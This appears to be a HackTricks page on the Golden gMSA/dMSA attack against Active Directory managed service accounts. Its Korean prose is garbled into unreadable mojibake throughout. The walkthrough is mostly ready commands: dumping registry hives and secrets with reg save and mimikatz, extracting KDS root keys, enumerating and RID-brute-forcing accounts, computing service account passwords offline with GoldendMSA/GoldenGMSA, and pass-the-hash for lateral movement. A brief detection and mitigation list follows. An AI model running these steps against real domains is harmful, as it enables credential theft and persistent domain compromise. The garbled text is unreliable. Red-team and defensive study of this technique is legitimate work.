Golden gMSA/dMSA Attack (Managed Service Account ๋น๋ฐ๋ฒํธ์ ์คํ๋ผ์ธ ํ์)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
Windows Managed Service Accounts (MSA)๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์๋์ผ๋ก ๊ด๋ฆฌํ ํ์ ์์ด ์๋น์ค๋ฅผ ์คํํ๋๋ก ์ค๊ณ๋ ํน๋ณํ ์ฃผ์ฒด์ ๋๋ค. ์ฃผ์ ๋ ๊ฐ์ง ์ ํ์ด ์์ต๋๋ค:
- gMSA โ ๊ทธ๋ฃน Managed Service Account โ
msDS-GroupMSAMembership์์ฑ์ ๊ถํ์ด ๋ถ์ฌ๋ ์ฌ๋ฌ ํธ์คํธ์์ ์ฌ์ฉํ ์ ์์ต๋๋ค. - dMSA โ ์์๋ Managed Service Account โ gMSA์ (๋ฏธ๋ฆฌ๋ณด๊ธฐ) ํ๊ณ์๋ก, ๋์ผํ ์ํธํ์ ์์กดํ์ง๋ง ๋ ์ธ๋ถํ๋ ์์ ์๋๋ฆฌ์ค๋ฅผ ํ์ฉํฉ๋๋ค.
๋ ๋ณํ ๋ชจ๋ ๋น๋ฐ๋ฒํธ๋ ์ ์ฅ๋์ง ์์ต๋๋ค ๊ฐ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ(DC)์ ์ผ๋ฐ NT ํด์์ฒ๋ผ. ๋์ ๋ชจ๋ DC๋ ๋ค์ ์ธ ๊ฐ์ง ์ ๋ ฅ๊ฐ์ผ๋ก๋ถํฐ ํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฆ์์์ ํ์ํ ์ ์์ต๋๋ค:
- ํฌ๋ฆฌ์คํธ ์ ์ฒด์ KDS Root Key (
KRBTGT\KDS) โ ๋ฌด์์๋ก ์์ฑ๋ GUID ์ด๋ฆ์ ๋น๋ฐ๋ก,CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, โฆ์ปจํ ์ด๋ ์๋์ ๋ชจ๋ DC์ ๋ณต์ ๋ฉ๋๋ค. - ๋์ ๊ณ์ ์ SID.
msDS-ManagedPasswordId์์ฑ์์ ์ฐพ์ ์ ์๋ ๊ณ์ ๋ณ ManagedPasswordID (GUID).
ํ์ ๊ณผ์ ์: AES256_HMAC( KDSRootKey , SID || ManagedPasswordID ) โ 240 ๋ฐ์ดํธ ๋ธ๋กญ์ด ์ต์ข
์ ์ผ๋ก base64 ์ธ์ฝ๋ฉ๋์ด msDS-ManagedPassword ์์ฑ์ ์ ์ฅ๋ฉ๋๋ค.
์ ์์ ์ธ ๋น๋ฐ๋ฒํธ ์ฌ์ฉ ์ค์๋ Kerberos ํธ๋ํฝ์ด๋ ๋๋ฉ์ธ ์ํธ์์ฉ์ด ํ์ํ์ง ์์ต๋๋ค โ ๋ฉค๋ฒ ํธ์คํธ๋ ์ธ ๊ฐ์ง ์
๋ ฅ๊ฐ์ ์๊ณ ์๋ ํ ๋ก์ปฌ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ํ์ํฉ๋๋ค.
Golden gMSA / Golden dMSA ๊ณต๊ฒฉ
๊ณต๊ฒฉ์๊ฐ ๋ชจ๋ ์ธ ๊ฐ์ง ์ ๋ ฅ๊ฐ์ ์คํ๋ผ์ธ์ผ๋ก ์ป์ ์ ์๋ค๋ฉด, ๋๋ฉ์ธ ๋ด์ ๋ชจ๋ gMSA/dMSA์ ๋ํ ์ ํจํ ํ์ฌ ๋ฐ ๋ฏธ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ณ์ฐํ ์ ์์ผ๋ฉฐ, ๋ค์ DC์ ์ ๊ทผํ์ง ์๊ณ ๋ ๋ค์์ ์ฐํํ ์ ์์ต๋๋ค:
- LDAP ์ฝ๊ธฐ ๊ฐ์ฌ
- ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ๊ฐ๊ฒฉ (์ฌ์ ๊ณ์ฐ ๊ฐ๋ฅ)
์ด๋ ์๋น์ค ๊ณ์ ์ ๋ํ Golden Ticket์ ๋น์ ํ ์ ์์ต๋๋ค.
์ ์ ์กฐ๊ฑด
- ํ๋์ DC (๋๋ Enterprise Admin)์ ๋ํ ํฌ๋ฆฌ์คํธ ์์ค์ ์์ ๋๋ ํฌ๋ฆฌ์คํธ ๋ด์ DC ์ค ํ๋์ ๋ํ
SYSTEM์ ๊ทผ. - ์๋น์ค ๊ณ์ ์ ์ด๊ฑฐํ ์ ์๋ ๋ฅ๋ ฅ (LDAP ์ฝ๊ธฐ / RID ๋ฌด์ฐจ๋ณ ๋์ ).
GoldenDMSA๋๋ ๋๋ฑํ ์ฝ๋๋ฅผ ์คํํ ์ ์๋ .NET โฅ 4.7.2 x64 ์ํฌ์คํ ์ด์ .
Golden gMSA / dMSA
1๋จ๊ณ โ KDS Root Key ์ถ์ถ
๋ชจ๋ DC์์ ๋คํ (๋ณผ๋ฅจ ์๋ ๋ณต์ฌ / ์์ SAM+SECURITY ํ์ด๋ธ ๋๋ ์๊ฒฉ ๋น๋ฐ):
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
RootKey (GUID ์ด๋ฆ)์ผ๋ก ๋ ์ด๋ธ๋ base64 ๋ฌธ์์ด์ ์ดํ ๋จ๊ณ์์ ํ์ํฉ๋๋ค.
2๋จ๊ณ โ gMSA / dMSA ๊ฐ์ฒด ์ด๊ฑฐ
์ต์ํ sAMAccountName, objectSid ๋ฐ msDS-ManagedPasswordId๋ฅผ ๊ฒ์ํฉ๋๋ค:
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
GoldenDMSA๋ ํฌํผ ๋ชจ๋๋ฅผ ๊ตฌํํฉ๋๋ค:
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
Phase 3 โ ManagedPasswordID ์ถ์ธก / ๋ฐ๊ฒฌ (๋๋ฝ ์)
์ผ๋ถ ๋ฐฐํฌ์์๋ msDS-ManagedPasswordId๋ฅผ ACL ๋ณดํธ ์ฝ๊ธฐ์์ ์ ๊ฑฐํฉ๋๋ค.
GUID๊ฐ 128๋นํธ์ด๊ธฐ ๋๋ฌธ์ ๋จ์ํ ๋ฌด์ฐจ๋ณ ๋์
์ ๋ถ๊ฐ๋ฅํ์ง๋ง:
- ์ฒซ ๋ฒ์งธ 32๋นํธ = ๊ณ์ ์์ฑ์ Unix epoch ์๊ฐ (๋ถ ๋จ์ ํด์๋).
- ๊ทธ ๋ค์ 96๋นํธ์ ๋ฌด์์ ๋นํธ๊ฐ ์ด์ด์ง๋๋ค.
๋ฐ๋ผ์ ๊ณ์ ๋น ์ข์ ๋จ์ด ๋ชฉ๋ก (ยฑ ๋ช ์๊ฐ)์ด ํ์ค์ ์ ๋๋ค.
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
๋๊ตฌ๋ ํ๋ณด ๋น๋ฐ๋ฒํธ๋ฅผ ๊ณ์ฐํ๊ณ ๊ทธ๋ค์ base64 blob์ ์ค์ msDS-ManagedPassword ์์ฑ๊ณผ ๋น๊ตํฉ๋๋ค โ ์ผ์นํ๋ฉด ์ฌ๋ฐ๋ฅธ GUID๊ฐ ๋๋ฌ๋ฉ๋๋ค.
Phase 4 โ ์คํ๋ผ์ธ ๋น๋ฐ๋ฒํธ ๊ณ์ฐ ๋ฐ ๋ณํ
ManagedPasswordID๊ฐ ์๋ ค์ง๋ฉด, ์ ํจํ ๋น๋ฐ๋ฒํธ๋ ํ ๋ช ๋ น์ด ๊ฑฐ๋ฆฌ์ ๋๋ค:
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
๊ฒฐ๊ณผ ํด์๋ mimikatz (sekurlsa::pth) ๋๋ Rubeus๋ฅผ ์ฌ์ฉํ์ฌ Kerberos ๋จ์ฉ์ ์ฃผ์
๋ ์ ์์ผ๋ฉฐ, ์ด๋ ์๋ฐํ ์ธก๋ฉด ์ด๋ ๋ฐ ์ง์์ฑ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
ํ์ง ๋ฐ ์ํ
- DC ๋ฐฑ์ ๋ฐ ๋ ์ง์คํธ๋ฆฌ ํ์ด๋ธ ์ฝ๊ธฐ ๊ธฐ๋ฅ์ Tier-0 ๊ด๋ฆฌ์์๊ฒ ์ ํํฉ๋๋ค.
- DC์์ ๋๋ ํฐ๋ฆฌ ์๋น์ค ๋ณต์ ๋ชจ๋(DSRM) ๋๋ ๋ณผ๋ฅจ ์๋ ๋ณต์ฌ ์์ฑ์ ๋ชจ๋ํฐ๋งํฉ๋๋ค.
- ์๋น์ค ๊ณ์ ์
CN=Master Root Keys,โฆ๋ฐuserAccountControlํ๋๊ทธ์ ๋ํ ์ฝ๊ธฐ/๋ณ๊ฒฝ์ ๊ฐ์ฌํฉ๋๋ค. - ๋น์ ์์ ์ธ base64 ๋น๋ฐ๋ฒํธ ์ฐ๊ธฐ ๋๋ ํธ์คํธ ๊ฐ์ ๊ฐ์์ค๋ฌ์ด ์๋น์ค ๋น๋ฐ๋ฒํธ ์ฌ์ฌ์ฉ์ ๊ฐ์งํฉ๋๋ค.
- Tier-0 ๊ฒฉ๋ฆฌ๊ฐ ๋ถ๊ฐ๋ฅํ ๊ฒฝ์ฐ, ๊ณ ๊ธ gMSA๋ฅผ ํด๋์ ์๋น์ค ๊ณ์ ์ผ๋ก ๋ณํํ๊ณ ์ ๊ธฐ์ ์ผ๋ก ๋ฌด์์ ํ์ ์ ๊ณ ๋ คํฉ๋๋ค.
๋๊ตฌ
Semperis/GoldenDMSAโ ์ด ํ์ด์ง์์ ์ฌ์ฉ๋ ์ฐธ์กฐ ๊ตฌํ.Semperis/GoldenGMSAโ ์ด ํ์ด์ง์์ ์ฌ์ฉ๋ ์ฐธ์กฐ ๊ตฌํ.mimikatzโlsadump::secrets,sekurlsa::pth,kerberos::ptt.Rubeusโ ํ์ค-๋-ํฐ์ผ์ ์ฌ์ฉํ์ฌ ํ์๋ AES ํค๋ฅผ ์ด์ฉํฉ๋๋ค.
์ฐธ๊ณ ๋ฌธํ
- Golden dMSA โ ์์๋ ๊ด๋ฆฌ ์๋น์ค ๊ณ์ ์ ๋ํ ์ธ์ฆ ์ฐํ
- gMSA Active Directory ๊ณต๊ฒฉ ๊ณ์
- Semperis/GoldenDMSA GitHub ์ ์ฅ์
- Improsec โ Golden gMSA ์ ๋ขฐ ๊ณต๊ฒฉ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


